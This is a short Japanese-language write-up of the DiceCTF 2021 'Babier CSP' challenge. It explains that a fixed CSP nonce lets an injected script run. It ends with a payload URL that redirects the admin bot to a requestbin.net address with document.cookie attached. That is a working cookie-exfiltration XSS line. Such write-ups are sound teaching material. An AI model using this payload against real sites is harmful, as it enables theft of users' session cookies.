🦁

DiceCTF 2021 - Babier CSP

2021/02/08に公開

問題概要

Baby CSP was too hard for us, try Babier CSP.
babier-csp.dicec.tf
Admin Bot
The admin will set a cookie secret equal to config.secret in index.js.
Downloads
index.js

XSSだ!と見た瞬間分かるやつです。が、そこからがCSPの始まり。

解説

CSPを破ってXSSする

urlParamとしてnameに与えた箇所がそのままDOMとして入るので、name=<script>alert("XSS");</script>等と入れるとスクリプトタグが挿入されます。が、実行されません。

それもそのはずで、Response Headerを見るとcontent-security-policy: default-src none; script-src: 'nonce-xxxx';という項目があります。ざっくりと説明すると、「scriptタグを動かすにはnonceがヘッダにある内容と一致してないとブラウザが動かさないよ!」というものです。実際にhtml上にあるonclickのscriptには正しいnonceがセットされています。admin botがリンクを踏むスタイルなので当然nonceを無効化することは出来ません。

サーバーのexpressプログラムを見たり、何度か更新をかけてnonceを見てみると、「nonceが固定値である」という脆弱性に気づきます。なら、name=<script nonce=xxxx>alert("XSS");</script>なら動く?動きました。

admin botのcookieを読み取る

admin botのcookieの中身が欲しいのですが、CORS制限でfetch等は使えません。ということで、リダイレクトをしてrequestbin.netに飛ばします。以下使用したpayloadです。

https://babier-csp.dicec.tf?name=<script nonce=????>
document.location.href = "http://requestbin.net/r/xxxxx?flag=" + document.cookie;
</script>

requestbin.netはHTTPサーバーを立ててそこにリクエストがあった際のデータを収集することが出来ます。今回はパラメータとしてflag=[cookie]としており、これも取得することが出来ます。

Discussion